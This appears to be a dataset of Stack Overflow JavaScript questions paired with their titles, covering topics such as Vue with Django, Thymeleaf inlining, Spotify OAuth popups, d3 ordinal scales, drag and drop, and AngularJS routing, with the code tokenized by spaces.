) ; } ) ; } ) ; console.log ( 'Completed taking screenshot ' ) ; } ; testpage.cropInFile = function ( size , location , filePath ) { easyimg.crop ( { src : filePath , dst : filePath , cropwidth : size.width , cropheight : size.height , x : location.x , y : location.y , gravity : 'North-West ' } , function ( err , stdout , stderr ) { if ( err ) throw err ; } ) ; } ;",Capture image using specific element locator using protractor tool "JS : I am using Vue.js for the first time . I need to serialize the objects of django views.pyI have tried to display serialized json data in html its working fine there , Now , how to intialize json data in vue instance and to access in html using v-repeat attribute.https : //jsfiddle.net/kn9181/1yy84912/Please can any one help ? ? ? def articles ( request ) : model = News.objects.all ( ) # getting News objects list modelSerialize = serializers.serialize ( 'json ' , News.objects.all ( ) ) random_generator = random.randint ( 1 , News.objects.count ( ) ) context = { 'models ' : modelSerialize , 'title ' : 'Articles ' , 'num_of_objects ' : News.objects.count ( ) , 'random_order ' : random.randint ( 1 , random_generator ) , 'random_object ' : News.objects.get ( id = random_generator ) , 'first4rec ' : model [ 0:4 ] , 'next4rec ' : model [ 4 : ] , } return render ( request , 'articles.html ' , context )",Load json data for the first time request and to display the same in Home Page "JS : I 'm using Firefox 3.5 . My doctype is XHTML 1.0 Strict . Let 's say I want to insert an image into a div with id `` foo '' ; then I might try : This does indeed add the image . But I noticed that this was causing some odd behavior later in the document , which I suspected might be due to XHTML breaking . Sure enough , using the Web Developer tool for Firefox , I checked the generated source and was horrified to find that after the script runs , I have : Where did the trailing slash on the img tag go ! ? Searching around , I found that this is n't a jQuery-specific problem : The pure JavaScript codeproduces the same results . So , what should I do ? I should note that using the expanded formdoes not affect the result . How do I insert strictly valid XHTML into my document with JavaScript ? var foo = $ ( ' # foo ' ) ; foo.html ( ' < img src= '' bar.gif '' / > ' ) ; < div id= '' foo '' > < img src= '' bar.gif '' > < /div > document.getElementById ( 'foo ' ) .innerHTML = ' < img src= '' bar.gif '' / > ' ; < img src= '' bar.gif '' > < /img >",XHTML DOM manipulation with jQuery "JS : How can I get unescaped JavaScript inlining output with Thymeleaf 3.0.x ? Escaped inlining works just fine . Example : pom.xmlservelet : html template : generated output : So , escaped expression [ [ ] ] works , but unescaped expression [ ( ) ] does n't . I have a need to generate js conditionally , and there 's no `` easy '' workaround , so this would 've been very helpful . Has anyone been able to get this to work ? Any help much appreciated ! < dependency > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-starter-thymeleaf < /artifactId > < /dependency > < dependency > < groupId > org.thymeleaf < /groupId > < artifactId > thymeleaf-spring3 < /artifactId > < version > 3.0.3.RELEASE < /version > < /dependency > model.addAttribute ( `` test '' , `` testing ... '' ) ; < script th : inline= '' javascript '' > /* < ! [ CDATA [ */ [ [ $ { test } ] ] [ ( $ { test } ) ] /* ] ] > */ < /script > < script > /* < ! [ CDATA [ */ 'testing ... ' [ ( $ { test } ) ] /* ] ] > */ < /script >",Thymeleaf Unescaped JavaScript Inlining "JS : I have that code : and I use it as below : and it returns : Now , I would like to change function to something like this : but `` this '' refers to Window and I do not know how to change it.My fiddle function defineProperty ( object , name , callback ) { if ( object.prototype ) { Object.defineProperty ( object.prototype , name , { `` get '' : callback } ) ; } } defineProperty ( String , `` isEmpty '' , function ( ) { return this.length === 0 ; } ) ; console.log ( `` '' .isEmpty , `` abc '' .isEmpty ) ; true , false defineProperty ( String , `` isEmptyWithArrow '' , ( ) = > this.length === 0 ) ;",JavaScript ecma6 change normal function to arrow function "JS : I am trying to make a spotify auth flow in pure javascript , so a user can sign in , and i can then add a new playlist for their account . From the instructions I 've read , I use an auth popup that once they sign in , has the access token in the URL . I have a popup right now that the user can auth with , and once they do it will have the access token in the url . I need to get the url from my popup and save it as a global var , but I 'm having trouble figuring out how to do this in javascript.https : //codepen.io/martin-barker/pen/YzPwXazMy codepen opens a popup with let popup = window.open ( , can I run a function in my popup to detect when the user successfully authenticates and the url changes ? In which case I would want to save the url for parsing and close my popupMy javascript code is as follows : async function spotifyAuth ( ) { let result = spotifyLogin ( ) } //open popupfunction spotifyLogin ( ) { console.log ( `` inside spotifyLogin , opening popup '' ) let popup = window.open ( ` https : //accounts.spotify.com/authorize ? client_id=5a576333cfb1417fbffbfa3931b00478 & response_type=token & redirect_uri=https : //codepen.io/martin-barker/pen/YzPwXaz & show_dialog=true & scope=playlist-modify-public ` , 'Login with Spotify ' , 'width=800 , height=600 ' ) } //get url from popup and parse access token ? ? ? ? window.spotifyCallback = ( payload ) = > { console.log ( `` inside window ? `` ) //this line never appears in consolepopup.close ( ) fetch ( 'https : //api.spotify.com/v1/me ' , { headers : { 'Authorization ' : ` Bearer $ { payload } ` } } ) .then ( response = > { return response.json ( ) } ) .then ( data = > { // do something with data } ) }",getting access token url from popup in javascript [ spotify auth ] "JS : Using node but Looking for a way around diamond inheritance in JavaScript : No problems here..but I then need to make everything that is available in Foo and Bar ( and Base ) in another all encompassing object : 'value ' gets printed twice which is n't what I was after . Doing inheritance like this probably is n't the best way so looking for alternatives / suggestions to deal with this diamond shape structure.P.S . Have n't included the original code but modified to hopefully simplify - I 've done this by hand , do n't think there are any mistakes but the point I 'm trying to get across should be there . var util = require ( 'util ' ) ; function Base ( example_value ) { console.log ( example_value ) ; this.example_property = example_value ; this.example_method = function ( ) { ... } ; } function Foo ( settings ) { var f = settings.f ; Base.call ( x ) ; this.settings = settings ; } util.inherits ( Foo , Base ) ; function Bar ( settings ) { var b = settings.b ; Base.call ( b ) ; this.settings = settings ; } util.inherits ( Bar , Base ) ; var foo = new Foo ( { f : 'bar ' } ) ; // 'bar ' gets printed and I can call methods from Base..foo.example_method ( ) ; var bar = new Bar ( { b : 'foo ' } ) ; // 'foo ' gets printed and I can call methods from Base..bar.example_method ( ) ; function Top ( settings ) { Foo.call ( this , settings ) ; Bar.call ( this , settings ) ; } util.inherits ( Top , Foo ) ; util.inhertis ( Top , Bar ) ; var top = new Top ( { some : 'value ' } ) ;",Javascript diamond inheritance structure "JS : First some context , I have an async function which logs messages on a MongoDB database.Now , I have another async function that gets triggered when I receive a message and takes care of processing it and fetching some data.As soon as this function get triggered I call `` log_message '' to log the message on my database , but I do not want to call it with await , otherwise , I would wait until the `` log_message '' function returns before processing the message slowing down the message processing.Nevertheless , Jetbrains Webstorm gives me this warning `` Missing await for an async function call '' .Now , I did some tests and if I call the function without await the system behaves as I expect , the message gets processed and my logging function writes the data on the db asynchronously without interrupting.If instead , I put the await keyword before calling the logging function the execution of the code in the main function gets suspended until the db has not been written.Could someone tell me whether there are some flaws in the way I intended the usage of the async/await keywords ? async function log_message ( sender , conversationId , text ) { try { const msg = new Message ( { sender : sender , conversationId : conversationId , text : text } ) ; await msg.save ( ) ; console.log ( `` Done '' ) ; } catch ( e ) { console.log ( `` An error happened while logging the message : `` + e ) } } async getReply ( username , message ) { log_message ( `` user '' , username , message ) ; console.log ( `` HI '' ) ; let reply = await this.rs.reply ( username , message , this ) ; return reply ; }",Does an async function always need to be called with await ? "JS : I 'm using nextUntil method to get all stuff between two elements . But this method does not include text nodes to output . It gives an array like [ < br > , < br > , < br > ] . How can I get all stuff including text nodes ? This is the HTML code : JSFiddle : http : //jsfiddle.net/Lwk97rvq/1/ $ ( '.content a : contains ( `` spoiler '' ) .b : even ' ) .each ( function ( ) { $ ( this ) .nextUntil ( '.content a : contains ( `` spoiler '' ) .b ' ) .wrapAll ( ' < div style= '' border : solid 1px black ; '' > < /div > ' ) ; } ) ; < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js '' > < /script > < div class= '' content '' > -- - < a class= '' b '' href= '' / ? q=spoiler '' > spoiler < /a > -- - < br > < br > dangerous text here < br > -- - < a class= '' b '' href= '' / ? q=spoiler '' > spoiler < /a > -- - < br > safe text here < br > -- - < a class= '' b '' href= '' / ? q=spoiler '' > spoiler < /a > -- - < br > < br > dangerous text here < br > -- - < a class= '' b '' href= '' / ? q=spoiler '' > spoiler < /a > -- - < /div >",jQuery nextUntil include text nodes "JS : I found a wonderful html truncation library , truncate.js , which handles about 99 % of my needs . But I have one nagging issue I am facing . I have a requirement that requires 'Show more ' be placed on the end of a specific number of lines for a series of posts ... which this library manages to achieve for a block of text..but when it comes to multiline text show more is not positioned properly.I have made a plunker to demonstrate the issue . All I want is to be able to place show more in the same position for multiline text the same way it appears for a block of text sitting on the same page.My first try was to add prev ( ) in the truncateNestedNodeEnd functionWhich gives me what I want for multiline text , but it then breaks the original functionality for a block of text as shown in the plunker . How can I make this function work for the two cases . I still want to Show more to appear on the yellow part , when these two posts are sitting on the same page . if ( $ clipNode.length ) { if ( $ .inArray ( element.tagName.toLowerCase ( ) , BLOCK_TAGS ) > = 0 ) { // Certain elements like < li > should not be appended to . $ element.after ( $ clipNode ) ; } else { //edited this line to add prev ( ) // $ element.append ( $ clipNode ) $ element.prev ( ) .append ( $ clipNode ) ; } } `",Truncating multiline html text using truncate.js "JS : Project InfoI 'm working on a JavaScript project that utilizes .d.ts files . This is a subsequent question to a question I previously asked , so you can view more information regarding the project here.ProblemAlthough I can normally extract functions from the typings files I ca n't extract interfaces or namespaces that are either empty or consist purely of interfaces . I have temporarily fixed this problem by creating a const implementation for each interface and using @ typeof ConstantImplementation in the comments . See Example below : I was wondering if there is a better way to go around the problem , preferably one that does n't throw an error ( using eslint ignore line is n't a fix ) .ClarificationThis question is not about getting functionality from typings file . It 's purely about making VSCode intellisense working with typings Interfaces . Here is an image to explain what it is that I want ( the two lines inside the circle ) : // Typings Fileexport namespace test { export interface ITest { foo : string ; bar : number ; } export const Test : ITest ; } // JS Fileif ( undefined ) var { Test : ITest } = require ( `` globals.d.ts '' ) .test ; // Above line shows ` unused var error ` /* @ type { typeof ITest } */var x = { } ; x.foo = `` hello '' ; x.bar = 3 ; // if I do ` x. ` intellisense should suggest ` foo ` and ` bar `",Declare Interfaces in typings file for JavaScript "JS : I have a coding challenge coming up that will be using HackerRank , which I am unfamiliar with . I started trying to get familiar with it before I started and imagine my surprise when I saw this boilerplate-ish code in the editor ! The rest of the challenges on HR have slightly modified versions of this and I ca n't help but wonder what is really going on . It seems like there is some sort of text file that the editor is reading from and is therefore able to compare to my output ? I 'd really appreciate any insight into this as I am pretty sure that I will have to write my own Node `` boilerplate '' when I do my coding challenge.Thanks ! process.stdin.resume ( ) ; process.stdin.setEncoding ( 'ascii ' ) ; var input_stdin = `` '' ; var input_stdin_array = `` '' ; var input_currentline = 0 ; process.stdin.on ( 'data ' , function ( data ) { input_stdin += data ; } ) ; process.stdin.on ( 'end ' , function ( ) { input_stdin_array = input_stdin.split ( `` \n '' ) ; main ( ) ; } ) ; function readLine ( ) { return input_stdin_array [ input_currentline++ ] ; }",Can someone help me understand the purpose of the Node.js code when using JavaScript on HackerRank ? "JS : In Node.js , should I use errors for flow control , or should I use them more like exceptions ? I 'm writing an authentication controller and some unit tests in Sails.js , and currently , my registration method checks to see if a user with the same username exists . If a user already exists with the username , my model method calls its callback arguments with a new Error object , like so : Model : Controller : Is this best practice ? I 'm not sure if node conventions favor errors for exceptional cases , or for flow control . I 'm thinking I should rewrite this , but I want to know conventions before I do so . I think I 've seen some examples written this way in Sails . Thanks ! exists : function ( options , cb ) { User.findOne ( { where : { username : typeof options === 'Object ' & & options.username ? options.username : options } , } ) .exec ( function ( err , user ) { if ( err ) return cb ( err ) ; if ( user ) return cb ( new Error ( `` A user with that username already exists . `` ) ) ; cb ( null , ! ! user ) ; } ) ; } , User.exists ( req.body.user.username , function ( err , exists ) { if ( err ) { console.log ( `` error : `` , err ) ; return res.status ( 409 ) .json ( { message : err } ) ; } User.create ( req.user ) .then ( function ( data ) { res.status ( 201 ) .json ( { user : data } ) ; } ) ; } ) ;",NodeJS best practices : Errors for flow control ? "JS : I 'm building a webshop , using ReactJS for the front-end and Spree ( Ruby ) for the back-end.Spree offers an API solution to connect the front-end and the back-end with one and other . I 'm trying to display products with product images , but Spree 's API is setup in a specific way that product images and products are n't in the same object . The API response is : My goal is to create an ul with the product information and product image displayed.I 've tried to map my API link which Which responds with the data object , but I cant for example do product.data.name because it returns an undefined response DATA RESPONSE IN THE LOGProduct Index pageProductList PageWhat I expect to get as Result is product information and image { ( holds products ) data : [ ] , ( Holds product images ) included : [ ] , } this.state.arrays.map ( ( product ) = > product.data ) ProductsList.js:28 PL [ undefined ] Index.js:42 productsData { } ProductsList.js:28 PL [ Array ( 5 ) ] 0 : Array ( 5 ) 0 : { id : `` 5 '' , type : `` image '' , attributes : { … } } 1 : { id : `` 4 '' , type : `` image '' , attributes : { … } } 2 : { id : `` 1 '' , type : `` image '' , attributes : { … } } 3 : { id : `` 3 '' , type : `` image '' , attributes : { … } } 4 : { id : `` 2 '' , type : `` image '' , attributes : { … } } length : 5__proto__ : Array ( 0 ) length : 1__proto__ : Array ( 0 ) import React , { Component } from 'react ' ; import ReactDOM from 'react-dom ' ; import PropTypes from `` prop-types '' ; import ProductsList from `` ./products/ProductsList '' ; import axios from 'axios ' ; const REACT_VERSION = React.version ; const include = ' ? include=images ' ; const API = 'https : //stern-telecom-react-salman15.c9users.io/api/v2/storefront/products ' + include ; const styles = { card : { maxWidth : 345 , } , media : { height : 140 , } , } ; class Index extends React.Component { constructor ( props ) { super ( props ) ; this.state = { products : [ ] , productsData : { } , isLoading : false , error : null , } ; } componentDidMount ( ) { this.setState ( { isLoading : true } ) ; axios.get ( API ) .then ( result = > this.setState ( { products : result.data.data , productsData : result.data , isLoading : false , } ) ) .catch ( error = > this.setState ( { error , isLoading : false } ) ) ; // console.log ( // 'productsData ' , // this.state.productsData // ) } render ( ) { const { products , productsData , isLoading , error } = this.state ; if ( error ) { return < p > { error.message } < /p > ; } if ( isLoading ) { return < p > Loading ... < /p > ; } return ( < React.Fragment > < h1 > React version : { REACT_VERSION } < /h1 > < ProductsList products= { this.state.productsData } / > < /React.Fragment > ) ; } } ProductsList.propTypes = { greeting : PropTypes.string } ; export default Index import React from `` react '' import PropTypes from `` prop-types '' import { withStyles } from ' @ material-ui/core/styles ' ; import Card from ' @ material-ui/core/Card ' ; import CardActionArea from ' @ material-ui/core/CardActionArea ' ; import CardActions from ' @ material-ui/core/CardActions ' ; import CardContent from ' @ material-ui/core/CardContent ' ; import CardMedia from ' @ material-ui/core/CardMedia ' ; import Button from ' @ material-ui/core/Button ' ; import Typography from ' @ material-ui/core/Typography ' ; const url = `` https : //stern-telecom-react-salman15.c9users.io '' class ProductsList extends React.Component { constructor ( props ) { super ( props ) ; const { products } = this.props ; const arrays = Object.values ( { products } ) ; this.state = { products , arrays } ; } render ( ) { return ( < React.Fragment > < ul > < p > Shop Products < /p > { // console.log ( // 'PL ' , // this.state.arrays.map ( ( product ) = > // product.data // ) // ) this.state.arrays.map ( product = > < li key= { product.objectID } > < Card > < CardActionArea > < CardMedia image= { url + `` } title= { product.data.attributes.name } / > < CardContent > < Typography gutterBottom variant= '' h5 '' component= '' h2 '' > { product.data.attributes.name } < /Typography > < Typography component= '' p '' > { product.data.attributes.description } < /Typography > < /CardContent > < /CardActionArea > < CardActions > < Button size= '' small '' color= '' primary '' > { product.data.attributes.display_price } < /Button > < Button size= '' small '' color= '' primary '' > add to cart < /Button > < /CardActions > < /Card > < /li > ) } < /ul > < /React.Fragment > ) ; } } ProductsList.propTypes = { greeting : PropTypes.string } ; export default ProductsList",How to map API with multiple objects [ Spree API V2 & ReactJS ] "JS : Playing with drag and drop and while I can seem to drag fine , I ca n't seem to drop.Here 's my playground : http : //jsfiddle.net/KZ8RD/1/Basically , the dragstart and dragend events on the draggable node seem to fire fine . But I have yet to trigger any event on that target nodes.So what conditions need to exist for the target 's dragenter and drop events to fire ? I 'm clearly missing some of them . # Source handlers $ ( ' # source ' ) .on ( 'dragstart ' , ( e ) - > log ' # source dragstart ' , this , e ) .on ( 'dragend ' , ( e ) - > log ' # source dragend ' , this , e ) # Target Handlers $ ( ' # cells td ' ) .on ( 'dragenter ' , ( e ) - > log 'target dragenter ' , this , e ) .on ( 'dragleave ' , ( e ) - > log 'target dragleave ' , this , e ) .on ( 'dragover ' , ( e ) - > log 'target dragover ' , this , e ) .on ( 'drop ' , ( e ) - > log 'target drop ' , this , e ) ​​​",HTML5 drag and drop wont drop "JS : So - I 've been using this method of file uploading for a bit , but it seems that Google Gears has poor support for the newer browsers that implement the HTML5 specs . I 've heard the word deprecated floating around a few channels , so I 'm looking for a replacement that can accomplish the following tasks , and support the new browsers . I can always fall back to gears / standard file POST 's but these following items make my process much simpler : Users MUST to be able to select multiple files for uploading in the dialog.I MUST be able to receive status updates on the transmission of a file . ( progress bars ) I would like to be able to use PUT requests instead of POSTI would like to be able to easily attach these events to existing HTML elements using JavaScript . I.E . the File Selection should be triggered on a < button > click.I would like to be able to control response/request parameters easily using JavaScript.I 'm not sure if the new HTML5 browsers have support for the desktop/request objects gears uses , or if there is a flash uploader that has these features that I am missing in my google searches.An example of uploading code using gears : Edit : apparently flash is n't capable of using PUT requests , so I have changed it to a `` like '' instead of a `` must '' . // select some files : var desktop = google.gears.factory.create ( 'beta.desktop ' ) ; desktop.openFiles ( selectFilesCallback ) ; function selectFilesCallback ( files ) { $ .each ( files , function ( k , file ) { // this code actually goes through a queue , and creates some status bars // but it is unimportant to show here ... sendFile ( file ) ; } ) ; } function sendFile ( file ) { google.gears.factory.create ( 'beta.httprequest ' ) ; request.open ( 'PUT ' , upl.url ) ; request.setRequestHeader ( 'filename ' , file.name ) ; request.upload.onprogress = function ( e ) { // gives me % status updates ... allows e.loaded/e.total } ; request.onreadystatechange = function ( ) { if ( request.readyState == 4 ) { // completed the upload ! } } ; request.send ( file.blob ) ; return request ; }","Handling file uploads with JavaScript and Google Gears , is there a better solution ?" "JS : I want to test a html 5 drag and drop what i though would work : From test fileThis so that the event is triggered and all the functions are set to return what i want tested.actual script : Backbone frameworkSadly this error 's to Illigal function callIf i remove the dataTransfer object and try to set it myself i get a undefined error var event = new Event ( 'drop ' , { 'originalEvent ' : { 'dataTransfer ' : { 'getData ' : function ( ) { return 'tr # 0.sprint ' } } } , stopPropagation ' : function ( ) { return ; } } $ ( 'tr # 0.sprint ' ) .trigger ( event ) ; myView = Backbone.View.extend ( { ... drop : function ( event ) { event.stopPropagation ( ) ; var data = event.originalEvent.dataTransfer.getData ( 'element ' ) ; // some code } , ... } ;",How to test a html5 drag and drop in qunit "JS : I have a very basic html element that I would like to fadeIn ( ) . I am however using require.js so I believe this could be part of the problem . I am using jQuery 2.0.3 When using fadeIn I get this error : I have never seen this before , I have reset firefox and my PC.HtmlJSI only get this error with firefox v27 . No other browsers are having this problem , but I have n't tested it in any older versions of FFI am not seeking help for anything other than the error ... See the error in action ? and run this command : SD.message.showMessage ( 'Somehow this breaks everything ' , 'bad ' ) ; -- -- -Edit -- -- -- -So sadly you 'll need to test this Here I assure you this is SFW , its just the sign in page.I am confident there must be something in my other JS files that is conflicting , but I , as yet , have not found the problem . I removed a fiddle that was here as it in no way helped the question , since adding the bounty I want it to be as helpful as possible.Second EditOddly , when running any show ( ) , hide ( ) , fadeIn ( ) etc an iframe is created at the base of the page , just before the body . I 'll need to have a think in my code why this would be happening.Third Edit I have no reason or explanation for this , but updating to jQuery 2.1.0 has fixed my issues . If anybody can explain the problem then I 'd love to give them the points : ) SecurityError : The operation is insecure.chrome : //firebug/content/console/commandLineExposed.jsLine 5 < message-box > < message-info > < /message-info > < close-box > x < /close-box > < /message-box > $ ( 'message-Box ' ) .fadeIn ( ) ;","jQuery 2.0.3 bug - fadeIn ( ) , show ( ) broken in firefox - SecurityError : The operation is insecure" "JS : Is it possible in Javascript to get the result of the last evaluated expression ? For example : So it would be something like eval ( ) where it returns the last evaluated expression , but I can not use eval ( ) . var a = 3 ; var b = 5 ; a * b ; console.log ( lastEvaluatedExpression ) ; // should print 15",Last evaluated expression in Javascript "JS : I am trying to use d3.scaleOrdinal ( ) to return corresponding monthNames for a set of data . The month is provided by an integer ranging from 1 to 12 in the original set of data , which can be found here . ( I manually added in a monthName field in each datum object ) https : //raw.githubusercontent.com/FreeCodeCamp/ProjectReferenceData/master/global-temperature.jsonHere is how I am trying to create the scale However , I get a really strange result where my data is separated into two bands , one at the top and one all the way at the bottom , which can be seen in this codepenhttp : //codepen.io/redixhumayun/full/ZBgVax/How do I do this ? var y = d3.scaleOrdinal ( ) .range ( [ height , 0 ] ) .domain ( month ) ; chart.selectAll ( '.temp ' ) .data ( monthlyData ) .enter ( ) .append ( 'rect ' ) .attr ( 'class ' , 'temp ' ) .attr ( ' x ' , function ( d ) { return x ( new Date ( d.year , 0 ) ) } ) .attr ( ' y ' , function ( d ) { return y ( d.monthName ) } ) .attr ( 'transform ' , 'translate ( 30 , 0 ) ' ) .attr ( 'width ' , gridWidth ) .attr ( 'height ' , gridHeight ) .attr ( 'fill ' , function ( d ) { return colorScale ( d.variance + data.baseTemperature ) } ) ;",How to use ordinal scale in d3 to return month names "JS : I have no clue how to even begin explaining this situation but I 'll try my best . I have a simple Spanish-English-Spanish dictionary lookup page with a text box , a Lookup button , and a div to show the results . When you enter a word to lookup in the text box and hit Lookup , the results are shown in the div below.In the results some words are hyperlinked so when you click on them , you get the search result for the clicked word in the div . That 's just like any online dictionary service functions . It works perfect except that the second functionality does n't seem to work on the first click after a typed search . For example : You type pedir in the input box and hit Lookup . The div below now shows the detailed meaning of pedir including hyperlinked words like ask , English for pedir . Now , you click ask which should refresh the div and show you the Spanish meanings of ask including words like pedir . However , it just refreshes the div and shows the same content as if you looked up pedir a second time . But when you click on ask a second time now , it works fine as expected . It must be noted that the words are hyperlinked appropriately and there 's no mis-linking going on here . Not only that , other links ( such as the ones on the navigation tab on top ) also do n't seem to work on first click . This happens every time a new word is looked up.Hope the above example illustrates the problem well enough ; at least that 's what I have tried . My routing and controllers look like this : I do n't even know if I can reproduce the entire situation in a fiddle since it involves some significant server-side scripting.Please let me know if there 's anything I could explain in order for someone to identify the gremlin breaking down my code 's functionality.P.S . : This issue only affects the first click ( on any link on the page ) after a new search has been performed , i.e . a word is entered in the input box and the Lookup button is clicked.Update : In response to @ gr3g 's request , here 's the code for the functions lookup_check ( ) and lookup_word ( ) : Update 2 : To further facilitate @ gr3g , here 's dictionary.html : var asApp = angular.module ( 'asApp ' , [ 'ngRoute ' ] ) ; asApp.config ( function ( $ routeProvider ) { $ routeProvider.when ( '/ ' , { title : 'Home of thesite – Radical Spanish learning tips and tricks for the adventurous learner ' , templateUrl : 'pages/home.html ' , controller : 'mainController ' } ) // route for dictionary .when ( '/dictionary ' , { title : 'The dictionary ' , templateUrl : 'pages/dictionary.html ' , controller : 'mainController ' } ) // route for dictionary term .when ( '/dictionary/ : word2lookup ' , { title : 'The thesite dictionary ' , templateUrl : 'pages/dictionary.html ' , controller : 'dictController ' } ) // route otherwise .otherwise ( { title : 'thesite – Radical Spanish learning tips and tricks for the adventurous learner ' , templateUrl : 'pages/home.html ' , controller : 'mainController ' } ) ; } ) ; function HeaderController ( $ scope , $ location ) { $ scope.isActive = function ( viewLocation ) { return viewLocation === $ location.path ( ) ; } ; } asApp.run ( [ ' $ rootScope ' , ' $ route ' , ' $ location ' , function ( $ rootScope , $ route , $ location ) { $ rootScope. $ on ( ' $ routeChangeSuccess ' , function ( event , current , previous ) { document.title = 'Translation of ' + $ route.current.params [ 'word2lookup ' ] + ' | ' + $ route.current.title ; } ) ; } ] ) ; asApp.controller ( 'mainController ' , function ( $ scope ) { } ) ; asApp.controller ( 'dictController ' , function ( $ scope , $ routeParams ) { } ) ; function lookup_check ( lookupterm ) { close_kb ( ) ; if ( lookupterm ! = `` '' ) { lookup_word ( lookupterm ) ; } else { var lookup_box = $ ( ' # word ' ) ; lookup_box.addClass ( 'empty ' ) ; setTimeout ( function ( ) { lookup_box.removeClass ( 'empty ' ) ; } ,500 ) ; } } // Query dictionary and populate meaning divfunction lookup_word ( lookupword ) { var mean = document.getElementById ( 'meaning ' ) ; var waittext = ' < div class= '' preloader-image '' > < br / > < br / > ' ; var hr = createXMLHTTPRequestObject ( ) ; var url = 'bootstrap/php/dictengine.php ' ; var vars = `` lookup_word= '' + lookupword ; document.getElementById ( 'word ' ) .value = lookupword ; hr.open ( `` POST '' , url , true ) ; hr.setRequestHeader ( `` Content-type '' , `` application/x-www-form-urlencoded '' ) ; hr.onreadystatechange = function ( ) { if ( hr.readyState == 4 & & hr.status == 200 ) { var return_data = hr.responseText ; mean.innerHTML = return_data ; if ( $ ( `` .el '' ) [ 0 ] ) { hist_mean = $ ( '.el : first ' ) .text ( ) ; } else { hist_mean = `` '' ; } add2local ( lookupword , hist_mean ) ; $ ( `` .tab-container '' ) .addClass ( `` hide-tabs '' ) ; if ( $ ( `` # dict_span '' ) .length ! = 0 ) { $ ( `` .tab-container '' ) .removeClass ( `` hide-tabs '' ) ; // logic to seggregate spanish and english results $ ( `` # dict_eng '' ) .addClass ( `` hide-div '' ) ; $ ( `` # sp_tab '' ) .addClass ( `` active '' ) ; $ ( `` # en_tab '' ) .removeClass ( `` active '' ) ; } document.title = 'Translation of ' + lookupword + ' | The thesite dictionary ' ; $ ( `` < hr class='dict-divider ' > '' ) .insertAfter ( `` .gram_cat '' ) ; $ ( `` < hr class='dict-divider ' > '' ) .insertAfter ( `` .quickdef '' ) ; $ ( `` < hr class='dict-divider ' > '' ) .insertBefore ( `` .dict_source '' ) ; $ ( 'div.entry_pos ' ) .wrap ( ' < div class= '' pos '' > < /div > ' ) ; $ ( ' a.dictionary-neodict-first-part-of-speech ' ) .wrap ( ' < div class= '' pos '' > < /div > ' ) ; // update url var loc = window.location.href ; var lastpart = loc.substring ( loc.lastIndexOf ( '/ ' ) + 1 ) ; if ( lastpart == 'dictionary ' ) { window.location.replace ( window.location.href + `` / '' + encodeURI ( lookupword ) ) ; } if ( ( lastpart ! = 'dictionary ' ) & & ( lastpart ! = encodeURI ( lookupword ) ) ) { var addr = window.location.href ; var addrtemp = addr.substring ( addr.lastIndexOf ( '/ ' ) + 1 ) ; addr = addr.replace ( addrtemp , encodeURI ( lookupword ) ) ; if ( ! ! ( window.history & & history.pushState ) ) { history.pushState ( null , null , addr ) ; } else { window.location.replace ( addr ) ; } } } //else { setTimeout ( 'lookup_word ( lookupword ) ' , 1000 ) ; } } hr.send ( vars ) ; mean.innerHTML = waittext ; } < ! -- dictionary.html -- > < script > var loc = window.location.href ; var lastpart = loc.substring ( loc.lastIndexOf ( '/ ' ) + 1 ) ; if ( lastpart ! = 'dictionary ' ) { lookup_check ( decodeURI ( lastpart ) ) ; } // populate search history if available var recent = document.getElementById ( 'recent-lookups ' ) ; var value = localStorage.getItem ( ' w ' ) ; if ( value ) { value = JSON.parse ( value ) ; var len = value.length - 1 ; var str = `` '' ; for ( a=len ; a > =0 ; a -- ) { term = value [ a ] .substr ( 0 , value [ a ] .indexOf ( ' $ ' ) ) ; term_meaning = value [ a ] .substr ( value [ a ] .indexOf ( `` $ '' ) + 1 ) ; if ( term_meaning ! = `` '' ) { str = str + `` < p > < strong > < a href='/a-s/ # /dictionary/ '' + encodeURI ( term ) + `` ' > '' + term + `` < /a > < /strong > & nbsp ; & nbsp ; < i class='fa fa-chevron-right ' style='color : # a5a5a5 ; font-size : 80 % ; ' > < /i > & nbsp ; & nbsp ; < span class='recent_meanings ' > '' + term_meaning + `` < /span > < /p > '' ; } else { str = str + `` < p > < em > '' + term + `` < /em > < /p > '' ; } } recent.innerHTML = str ; } else { recent.innerHTML = `` < p > No historical data to show right now . Words will start appearing here as you begin your lookups. < /p > '' ; } // populate word of the day on pageload wotd ( ) ; < /script > < ! -- top-image start -- > < div class= '' page-header-line-div '' > < /div > < ! -- top-image end -- > < br > < br > < div class= '' container-fluid '' ng-controller= '' luController as luCtrl '' > < div class= '' row row-padding '' > < form class= '' form-horizontal '' role= '' form '' name= '' lookup-form '' id= '' lookup-form '' action= '' '' method= '' '' > < div class= '' input-group col-md-6 '' > < input id= '' word '' type= '' textbox '' placeholder= '' Enter a Spanish or English word here ... '' class= '' form-control input-lg lookup-field lookup-field-single '' onMouseOver= '' $ ( this ) .focus ( ) ; '' required ng-model= '' luCtrl.lookuptrm '' > < i class= '' fa fa-times fa-lg delete-icon '' onfocus= '' clearword ( ) ; '' onclick= '' clearword ( ) ; '' data-toggle= '' tooltip '' data-placement= '' top '' title= '' Click to clear entered text '' > < /i > < i class= '' fa fa-keyboard-o fa-2x kb-icon '' onfocus= '' toggler ( 'virtualkeypad ' , this ) ; '' onclick= '' toggler ( 'virtualkeypad ' , this ) ; '' data-toggle= '' tooltip '' data-placement= '' top '' title= '' Click to enter accented characters '' > < /i > < div class= '' input-group-btn '' > < button class= '' btn btn-lg btn-primary lookup-submit '' type= '' submit '' id= '' lookup '' ng-click= '' luCtrl.handlelookup ( luCtrl.lookuptrm ) '' > Lookup < /button > < /div > < /div > < div id= '' virtualkeypad '' class= '' btn-group vkb-hide '' > < ! -- col-md-offset-4 -- > < button class= '' btn btn-lg first-btn '' type= '' button '' onClick= '' spl_character ( ' á ' ) ; '' > á < /button > < button class= '' btn btn-lg '' type= '' button '' onClick= '' spl_character ( ' é ' ) ; '' > é < /button > < button class= '' btn btn-lg '' type= '' button '' onClick= '' spl_character ( ' í ' ) ; '' > í < /button > < button class= '' btn btn-lg '' type= '' button '' onClick= '' spl_character ( ' ó ' ) ; '' > ó < /button > < button class= '' btn btn-lg '' type= '' button '' onClick= '' spl_character ( ' ú ' ) ; '' > ú < /button > < button class= '' btn btn-lg '' type= '' button '' onClick= '' spl_character ( ' ü ' ) ; '' > ü < /button > < button class= '' btn btn-lg last-btn '' type= '' button '' onClick= '' spl_character ( ' ñ ' ) ; '' > ñ < /button > < /div > < /form > < ! -- tabbed view for bilingual words -- > < div class= '' col col-md-8 bi '' > < ul class= '' nav nav-tabs tab-container hide-tabs lang-tabs '' role= '' tablist '' 